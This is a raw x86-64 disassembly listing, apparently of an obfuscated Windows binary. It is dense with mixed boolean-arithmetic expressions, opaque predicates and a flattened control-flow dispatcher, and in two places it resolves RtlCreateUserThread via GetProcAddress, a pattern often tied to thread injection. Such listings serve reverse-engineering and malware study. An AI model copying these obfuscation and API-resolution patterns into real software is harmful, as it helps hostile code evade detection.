or ebx, ecx
mov eax, ebx
not eax
and eax, 0x13b29e7f
and ebx, 0xec4d6180
or ebx, eax
xor ebx, 0xec4d6180
sete cl
setne r9b
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg r8b
mov edx, r9d
and dl, r8b
mov eax, ebx
and al, cl
or al, dl
xor al, 1
or al, r8b
mov r8d, eax
xor r8b, 1
or r9b, bl
xor cl, bl
and cl, bl
mov ebx, r9d
xor bl, cl
xor cl, 1
xor bl, 1
or cl, r9b
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and r8b, al
mov ebx, edx
and bl, cl
mov r9d, eax
and r9b, r8b
xor r8b, al
or r8b, r9b
mov r9d, edx
xor r9b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r9b
xor bl, r8b
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, bl
test dl, 1
mov ecx, 0xcfe08334
mov edx, 0x62730aca
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0xcfe08334
jmp 0x14015cf0e
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x9823a659
and edx, ebp
not ebp
and ebp, 0xc5c32d64
and ecx, 0x3a3cd29b
or ecx, ebp
mov ebp, ecx
xor ebp, 0x18208210
xor ecx, 0x80032440
or ecx, 0x67dc59a6
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x2484102b
and ebp, 0x9823a650
or ebp, edi
or ecx, ebx
and ebx, 0x2484102b
and edx, 0xdb7befd4
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xe7b74e58
and ecx, 0x1848b1a7
or ecx, edx
mov edx, ecx
xor edx, 0x806b17fe
xor ecx, 0x7f94e800
mov ebp, edx
and ebp, 0xfffffffe
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x358d2322
and edx, 0xca72dcdd
or edx, ecx
mov ecx, edx
xor ecx, 0x40025cc8
xor edx, 0x240c0300
and edx, 0xae7c8315
and ecx, 0x51837cea
or ecx, edx
mov edx, ecx
xor edx, 0xa0100100
xor ecx, 0x51837cea
mov ebp, ecx
and ebp, 0x5feea6dd
and edx, 0xa0115922
or edx, ebp
xor edx, 0x5feea6dd
xor ecx, edx
test ecx, edx
sete r8b
setne bl
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
and bl, cl
and r9b, r8b
or r9b, bl
xor r9b, 1
or r9b, cl
mov eax, r9d
not al
mov edx, ecx
xor dl, r8b
not dl
and dl, r8b
or cl, r8b
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
and al, r9b
mov ebx, edx
and bl, cl
xor al, 1
mov r8d, eax
xor r8b, r9b
or al, r9b
xor al, 1
or al, r8b
mov r8d, ebx
and r8b, dl
xor bl, dl
or bl, r8b
mov edx, eax
xor dl, 1
and dl, bl
xor bl, 1
and bl, al
or bl, dl
mov eax, r9d
and al, cl
xor cl, r9b
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xd0db1226
mov edx, 0x43ce004a
cmovne eax, edx
test cl, 1
mov ecx, 0xd0db1226
jmp 0x14015a099
mov ecx, 0xfd80e646
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov rcx, qword [0x140265040]
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x3dc709b6
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, 0xe9badbde
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov edx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xaa5f159c
and edx, ecx
and ecx, 0x55a0ea63
or ecx, ebp
xor ecx, 0x55a0ea63
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0xc27683e5
and ecx, 0x3d897c1a
or ecx, edx
mov eax, ecx
xor eax, 0x3d897c1a
xor ecx, 0xc27683e5
mov edi, ecx
or edi, 0x6b0106d6
mov esi, edi
not esi
or ebx, 0x94fef929
mov ebp, ebx
not ebp
and edi, 0x6f3ada1f
and esi, 0x90c42120
or esi, edi
and ebx, 0x6f3ada1f
and ebp, 0x104c0
or ebp, ebx
xor ebp, esi
mov ebx, ebp
not ebx
and ebx, 0x6b0106d7
and ebp, 0x94fef928
or ebp, ebx
and ecx, 0x90b219c6
mov edx, eax
and edx, 0x6f4de639
or edx, ecx
xor edx, 0x90b219c7
and eax, 1
or eax, edx
not eax
mov ecx, ebp
and ecx, eax
xor eax, ebp
or eax, ecx
mov ecx, eax
xor ecx, 0x353da6d0
and ecx, eax
not eax
and eax, 0x353da6d0
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x24e129ac
and ecx, 0xdb1ed653
or ecx, eax
mov eax, ecx
xor eax, 0xaa235002
xor ecx, 0x48c28
and eax, 0xbbfb5356
and ecx, 0x4404aca9
or ecx, eax
xor ecx, 0x4404aca9
sete al
setne cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
and cl, bl
and dl, al
or dl, cl
mov ecx, edx
xor cl, bl
and cl, dl
mov edx, ebx
xor dl, al
not dl
and dl, al
or bl, al
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
xor bl, cl
mov eax, ebx
not al
and al, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0x13c22e0c
mov ebp, 0x4e1596c
cmovne edx, ebp
test al, al
mov eax, 0x13c22e0c
cmove edx, eax
test cl, 1
cmovne edx, ebp
jmp 0x14015b438
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0xf3891d21
and edx, 0xc76e2de
or edx, ebp
mov ecx, edx
xor ecx, 0xf3891d21
mov ebp, edx
xor ebp, 0x850000c
and ebp, 0xa951090d
xor edx, 0xf2a17aa3
and edx, ecx
and ecx, 0x56aef6f2
or ecx, ebp
mov ebx, ecx
xor ebx, 0x56aef6f2
mov edi, ecx
xor edi, 0xa8796e8f
and edi, ebx
mov ebp, edi
not ebp
mov esi, edx
not esi
mov eax, ebp
and eax, 0x1b1287ae
and edi, 0xe4ed7851
or edi, eax
or ebp, esi
and esi, 0x1b1287ae
and edx, 0xe4ed7851
or edx, esi
xor edx, edi
not ebp
or ebp, edx
mov eax, ebp
not eax
and eax, 0xfed7987c
and ebp, 0x1286783
or ebp, eax
and ebx, 1
xor ecx, 0x56aef6f3
or ecx, ebx
not ecx
mov eax, ebp
and eax, ecx
xor ecx, ebp
or ecx, eax
mov eax, ecx
not eax
and eax, 0x9181200f
mov edx, ecx
and edx, 0x83450a0
or edx, eax
xor edx, 0x83450a0
and ecx, 0x664a8f50
or ecx, edx
mov eax, ecx
not eax
and eax, 0x664a8f50
and ecx, 0x99b570af
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfd32ebbf
and ecx, 0x2cd1440
or ecx, edx
xor ecx, 0xfd32ebbf
xor eax, ecx
test eax, ecx
setne al
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl dl
xor dl, al
xor dl, 1
or dl, cl
xor dl, 1
xor cl, al
xor cl, dl
mov eax, ecx
not al
and al, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xb8f524b5
mov ebp, 0x45d3d80c
cmovne ecx, ebp
test al, al
mov eax, 0xb8f524b5
jmp 0x14015d37d
mov ecx, 0x551ae98
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, 0x3b637a28
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov eax, dword [0x1402656d8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x700e88c2
and edx, ecx
not ecx
and ecx, 0x60008002
and eax, 0x100e08c0
or eax, ecx
xor eax, 0x100e08c0
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x7d1bd7e2
and edx, 0x82e4281d
or edx, eax
mov eax, edx
xor eax, 0xf2eaa0df
mov ecx, edx
xor ecx, 0xf2eaa0de
and ecx, eax
xor edx, 0xd155f20
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x8d16932e
and eax, 0x72e96cd1
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xfa9d0f2c
and eax, 0x562f0d3
or eax, ecx
mov ecx, eax
xor ecx, 0x5402c4
xor eax, 0x10099002
and eax, 0x9829f13b
and ecx, 0x67d60ec4
or ecx, eax
mov eax, ecx
xor eax, 0x47520000
xor ecx, 0x1828c139
and ecx, 0x38accffd
and eax, 0xc7533002
or eax, ecx
xor eax, 0xc7533002
setne al
sete cl
cmp dword [0x1402656d4], 0xa
setl bl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor al, bl
mov edx, eax
not dl
and dl, cl
xor cl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x36dc0dc
mov ebp, 0x5caa7522
cmovne edx, ebp
test al, al
mov ecx, edx
cmovne ecx, ebp
jmp 0x140158e44
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov edx, edi
or edx, 0x4c99ddc
mov ebx, ecx
or ebx, 1
and ebx, 0x4c99ddd
mov ebp, edi
and ebp, 0xfb366222
or ebp, ebx
and edx, 0x4c99ddd
xor edx, ebp
mov ebp, edx
not ebp
and ebp, 0x3dee88e5
and edx, 0xc211771a
or edx, ebp
xor edx, 0xc211771a
and edi, 0x9f6dca9e
and ecx, 0x60923561
or ecx, edi
xor ecx, 0x60923561
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov eax, r9d
xor al, r8b
and al, r9b
mov ebx, eax
xor bl, 1
and al, bl
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, eax
and dl, r10b
xor al, 1
and al, cl
or al, dl
and r9b, r10b
or r10b, r8b
and cl, r8b
or cl, r9b
xor cl, 1
mov edx, r10d
xor dl, cl
or cl, r10b
xor cl, 1
or cl, dl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xcd7c1dff
mov ebp, 0xefa19f9e
cmovne ecx, ebp
test al, al
cmove ecx, ebp
test dl, 1
mov eax, 0xcd7c1dff
jmp 0x14015cf0e
mov ecx, 0xd702cfd
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, 0xefc170b4
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0xfb2386ed
and ecx, ebp
not ebp
and ebp, 0x322180c5
and edx, 0xc9020628
or edx, ebp
xor edx, 0xc9020628
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x4dc7912
and ecx, 0xfb2386ed
or ecx, edx
mov ebp, ecx
mov ebx, ecx
xor ebx, 0xe5cc02d0
and ebx, ecx
not ecx
and ecx, 0xc35c2dea
and ebp, 0x3ca3d215
or ebp, ecx
mov edx, ebp
xor edx, 0x3ca3d215
xor ebp, 0xc35c2dea
mov ecx, ebp
or ecx, 0x1a33fd2f
mov edi, ecx
not edi
mov esi, ebx
not esi
mov eax, ecx
and eax, 0x925706a8
and edi, 0x65880050
or edi, eax
or ecx, esi
and esi, 0x925706a8
and ebx, 0x6da8f957
or ebx, esi
xor ebx, edi
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x78b86165
and ecx, 0x87479e9a
or ecx, eax
mov ebx, ecx
xor ebx, 0x22809403
and ebp, 0x61aab6fc
mov eax, edx
and eax, 0x9e554903
or eax, ebp
xor eax, 0x61aab6fd
and edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x87dce9af
and edx, 0x78231650
or edx, eax
mov eax, edx
xor eax, 0x20001400
xor ecx, 0x9d7463b4
xor edx, 0x87dce9af
mov ebp, ecx
and ebp, 0x587b6b5c
and ebx, 0xa78494a3
or ebx, ebp
or ecx, edx
and edx, 0x587b6b5c
and eax, 0xa78494a3
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
sete r10b
setne r9b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl al
mov ebx, eax
xor bl, cl
and bl, al
mov eax, ebx
xor al, 1
mov r8d, ebx
and r8b, al
mov edx, r8d
xor dl, 1
xor r8b, bl
or dl, al
xor dl, 1
or dl, r8b
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, r9b
mov r8d, eax
xor r8b, 1
xor r10b, cl
and r10b, cl
xor cl, r9b
mov ebx, r10d
xor bl, 1
xor r10b, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, r10b
mov r9d, ecx
xor r9b, 1
mov ebx, r8d
and bl, al
mov edx, ebx
xor dl, 1
xor bl, r8b
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
and bl, r9b
and dl, cl
or dl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x804f07a4
mov ebp, 0xc602141e
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x804f07a4
jmp 0x14015cf0e
mov rcx, qword [0x140265040]
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov edx, ebp
and edx, 0x3cddd5a0
xor ebp, 0xbde681bf
and ebp, ecx
and ecx, 0xc3222a5f
or ecx, edx
mov edx, ecx
xor edx, 0xc3222a5f
mov ebx, ecx
xor ebx, 0x7ec4abe0
and ebx, edx
mov edi, ebx
and edi, ebp
xor ebp, ebx
or ebp, edi
mov ebx, ebp
not ebx
and ebx, 0xbde681be
and ebp, 0x42197e41
or ebp, ebx
xor ecx, 0x38999000
and ecx, 0x389b9800
mov ebx, edx
and ebx, 0xc76467ff
or ebx, ecx
xor ebx, 0x389b9801
and edx, 1
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x93d78714
and edx, 0x6c2878eb
or edx, ecx
mov ebx, edx
xor ebx, 0x28203028
mov ecx, ebp
not ecx
xor edx, 0x93d78714
mov edi, ecx
and edi, 0xd65acec3
and ebp, 0x29a5313c
or ebp, edi
or ecx, edx
and edx, 0xd65acec3
and ebx, 0x29a5313c
or ebx, edx
xor ebx, ebp
not ecx
or ecx, ebx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xa3f52ccd
and edx, ecx
and ecx, 0x5c0ad332
or ecx, ebp
xor ecx, 0x5c0ad332
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ebx
or dl, cl
and cl, al
xor al, r8b
xor dl, 1
or dl, al
and bl, r8b
or bl, cl
mov eax, edx
xor al, bl
xor bl, 1
or bl, dl
mov ecx, eax
xor cl, bl
not cl
test cl, 1
mov ecx, 0xddc0ed34
mov edx, 0xc9ea3040
cmovne ecx, edx
test al, al
mov eax, 0xddc0ed34
cmovne eax, ecx
test bl, bl
cmovne eax, ecx
jmp 0x14015d868
mov rax, qword [rsp + 0x38]
mov qword [0x1402650b0], rax
mov ecx, 0xc55edd58
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea esi, [rcx - 1]
imul esi, ecx
mov ebx, esi
not ebx
mov ebp, ebx
and ebp, 0x504004
mov edx, esi
and edx, 0x94200008
or edx, ebp
mov edi, edx
xor edi, 0x200008
xor edx, 0x29d11987
mov ecx, ebx
or ecx, 0x9470400c
mov ebp, ecx
not ebp
and edx, 0xbdd11987
and edi, 0x204008
or edi, edx
and ecx, 0xbdd11987
and ebp, 0x420ea670
or ebp, ecx
xor ebp, edi
mov ecx, ebp
not ecx
and ecx, 0x502ed76d
and ebp, 0xafd12892
or ebp, ecx
mov ecx, ebp
xor ecx, 0x2320081e
xor ebp, 0xc45e9760
mov edx, ebp
and edx, 0xd8d364a1
and ecx, 0x272c9b5e
or ecx, edx
and esi, 0xd8d364a1
and ebx, 0x272c9b5e
or ebx, esi
xor ebx, ecx
xor ebp, ebx
test ebp, ebx
sete r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
xor bl, r8b
mov r9d, ebx
xor r9b, 1
and al, bl
xor dl, r8b
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
not al
and al, dl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, ebx
and cl, r9b
mov edx, ebx
xor dl, cl
xor cl, 1
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
and dl, al
or cl, dl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x56f694aa
mov ebp, 0x444c8058
cmovne edx, ebp
test al, 1
mov eax, 0x56f694aa
cmovne eax, edx
test cl, 1
jmp 0x14015badd
mov ecx, 0xb6eb078c
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, 0xdeefdbb
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov rax, qword [rsp + 0x38]
mov qword [0x1402650b0], rax
mov ecx, 0xb1bbe955
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x756fc560
mov ebx, ecx
and ebx, 0x8a903a9e
or ebx, edx
xor ebx, 0x8a903a9e
and ecx, 1
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x1bac353
and ecx, 0xfe453cac
or ecx, edx
xor ecx, 0xfe453cac
mov edx, ecx
and edx, ebp
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xbdf7d9a7
and ecx, 0x42082658
or ecx, edx
xor ecx, 0x42082658
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
mov r9d, eax
xor r9b, 1
or bl, r8b
xor bl, 1
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, r9b
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0xc404a20c
mov ecx, 0xdf0fd338
cmovne ebp, ecx
test dl, dl
mov ecx, ebp
mov edx, 0xc404a20c
jmp 0x14015d179
mov ecx, 0xe490bb34
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, 0x2f20639c
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, 0xe4c9b313
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, 0x28a7bbf0
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x22894090
and ebp, 0xdd76bf6f
or ebp, edi
or ecx, ebx
and ebx, 0x22894090
and edx, 0xdd76bf6f
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, ecx
not ebp
mov edi, edx
and edi, 0x1959e7da
and ebx, 0xe6a61824
or ebx, edi
or edx, ebp
and ebp, 0x1959e7da
and ecx, 0xe6a61825
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x9fbb74f1
and edx, 0x60448b0e
or edx, ecx
mov ecx, edx
xor ecx, 0x40820c
xor edx, 0x151110a1
and ecx, 0x8aeae65c
and edx, 0x751519a3
or edx, ecx
mov ecx, edx
xor ecx, 0xaaac614
xor edx, 0x4050883
and edx, 0x844528cb
and ecx, 0x7bbad734
or ecx, edx
xor ecx, 0x7bbad734
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r8b
or bl, cl
xor bl, 1
or bl, al
or al, r8b
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
xor al, 1
mov edx, ebx
or dl, al
xor al, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0xdb335f1c
mov ecx, 0xe64b69ad
cmovne ebp, ecx
test al, 1
mov ecx, ebp
mov eax, 0xdb335f1c
cmovne ecx, eax
jmp 0x14015d380
mov eax, dword [0x1402656d8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x88002380
and ecx, 0x821070
or ecx, eax
mov ebp, ecx
xor ebp, 0x821020
xor ecx, 0xb649ae88
or edx, 0x888233f0
mov eax, edx
not eax
and ecx, 0xb649aed8
and ebp, 0x8821120
or ebp, ecx
and edx, 0xb649aed8
and eax, 0x41344007
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0x6d475c2b
and eax, 0x92b8a3d4
or eax, ecx
mov edx, eax
xor edx, 0x1a3a9024
mov ecx, eax
xor ecx, 0xe5c56fdb
mov ebp, eax
xor ebp, 0xdf0110a
mov ebx, ebp
and ebx, ecx
and ebp, edx
mov edx, ebx
not edx
mov edi, ebp
not edi
mov esi, edx
and esi, 0xeace0341
and ebx, 0x1531fcbe
or ebx, esi
or edx, edi
and edi, 0xeace0341
and ebp, 0x1531fcbe
or ebp, edi
xor ebp, ebx
not edx
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xfc582bd8
and edx, 0x3a7d427
or edx, ebp
xor edx, 0x146d5508
and ecx, 1
xor eax, 0xe5c56fda
or eax, ecx
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x2fb0f5c2
and edx, eax
not eax
and eax, 0x45d5c983
and ecx, 0xba2a367c
or ecx, eax
mov eax, ecx
xor eax, 0xa202000
xor ecx, 0x590c182
or ecx, 0xd04f0a3d
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x658aded7
and eax, 0xa302100
or eax, ebx
or ecx, ebp
and ebp, 0x658aded7
and edx, 0x9a752128
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xd84bcb8b
and ecx, 0x27b43474
or ecx, eax
xor ecx, 0x804c1b6
setne r8b
sete r9b
cmp dword [0x1402656d4], 9
setg al
mov edx, r9d
or dl, al
xor dl, 1
xor r9b, al
mov ebx, r9d
not bl
and bl, al
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, eax
xor cl, r8b
or al, r8b
xor al, 1
or al, cl
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
xor al, bl
and bl, al
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0x91c355eb
mov eax, 0xfc98658a
cmovne ecx, eax
test bl, bl
cmove ecx, eax
not dl
test dl, 1
mov eax, 0x91c355eb
jmp 0x14015d285
mov ecx, 0x804f07a4
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xb3545a31
and ecx, edx
not edx
and edx, 0xb3545a31
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x4caba5ce
and ecx, 0xb3545a31
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
and ebp, 0x73158b10
and ecx, 0x8cea74ef
or ecx, ebp
mov ebp, ecx
xor ebp, 0x4c8000e
xor ecx, 0x73158b11
mov edi, edx
and edi, 0x98267ce0
and ebx, 0x67d9831e
or ebx, edi
or edx, ecx
and ecx, 0x98267ce0
and ebp, 0x67d9831f
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xe27b01c6
and edx, 0x1d84fe39
or edx, ecx
xor edx, 0xe27b01c6
cmp edx, 0xffffffff
sete r8b
setne bl
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov edx, ebx
and dl, al
or bl, r9b
and r9b, r8b
or r9b, dl
xor r9b, 1
or r9b, al
xor bl, 1
or al, r8b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov r10d, eax
xor r10b, 1
mov ecx, r9d
mov edx, r10d
and dl, al
mov r8d, r10d
and r8b, dl
xor dl, r10b
xor r10b, r9b
xor r9b, 1
and cl, r9b
xor cl, 1
mov ebx, r9d
xor bl, cl
or cl, r9b
xor cl, 1
or cl, bl
or dl, r8b
mov ebx, ecx
xor bl, 1
and bl, dl
xor dl, 1
and dl, cl
or dl, bl
or al, r9b
xor al, 1
or al, r10b
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0xde9da4d1
mov ecx, 0x3e1fc6bf
cmovne ebp, ecx
test al, 1
mov ecx, 0xde9da4d1
cmovne ecx, ebp
jmp 0x14015d6e1
mov ecx, 0x9d931e52
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0xd48aed5e
mov edx, ebp
xor edx, 0xd48aed5e
and edx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xb0a95c3f
and edx, 0x4f56a3c0
or edx, ebx
mov ebx, edx
xor ebx, 0x50081c
xor edx, 0x6423b160
mov edi, edx
and edi, 0xbf8fe7a3
and ebx, 0x4070185c
or ebx, edi
and ebp, 0xbf8fe7a3
and ecx, 0x4070185c
or ecx, ebp
xor ecx, ebx
xor edx, ecx
test edx, ecx
setne cl
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, dl
xor dl, bl
and dl, bl
xor cl, bl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0xea92269
mov ebp, 0x8897e487
cmovne edx, ebp
test al, al
cmovne edx, ebp
not cl
test cl, 1
mov eax, 0xea92269
jmp 0x14015b435
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x9e398e54
and edx, ebp
not ebp
and ebp, 0x96190414
and ecx, 0x8208a40
or ecx, ebp
mov ebp, ecx
xor ebp, 0x200
xor ecx, 0xf7df75bf
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xe8f39ddb
and ebp, 0x16080204
or ebp, edi
or ecx, ebx
and ebx, 0xe8f39ddb
and edx, 0x170c6224
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x61c671ab
and ecx, 0x9e398e54
or ecx, edx
mov esi, ecx
not esi
mov edx, esi
and edx, 0x9137b829
and ecx, 0x6ec847d6
or ecx, edx
mov ebp, ecx
xor ebp, 0x6ec847d6
mov edx, ecx
xor edx, 0x365ee6c0
and edx, ebp
or esi, 0xa7695ee9
mov ebx, esi
not ebx
mov edi, edx
not edi
mov eax, edi
and eax, 0x7f466a52
and edx, 0x80b995ad
or edx, eax
or edi, esi
and esi, 0x7f466a52
and ebx, 0x908104
or ebx, esi
xor ebx, edx
not edi
or edi, ebx
mov eax, edi
not eax
and eax, 0x5896a117
and edi, 0xa7695ee8
or edi, eax
and ebp, 1
xor ecx, 0x6ec847d7
or ecx, ebp
mov eax, ecx
not eax
mov edx, edi
not edx
mov ebp, edx
and ebp, 0xf2cea9c7
and edi, 0xd315638
or edi, ebp
or edx, ecx
and ecx, 0xf2cea9c7
and eax, 0xd315638
or eax, ecx
xor eax, edi
not edx
or edx, eax
mov eax, edx
not eax
and edx, eax
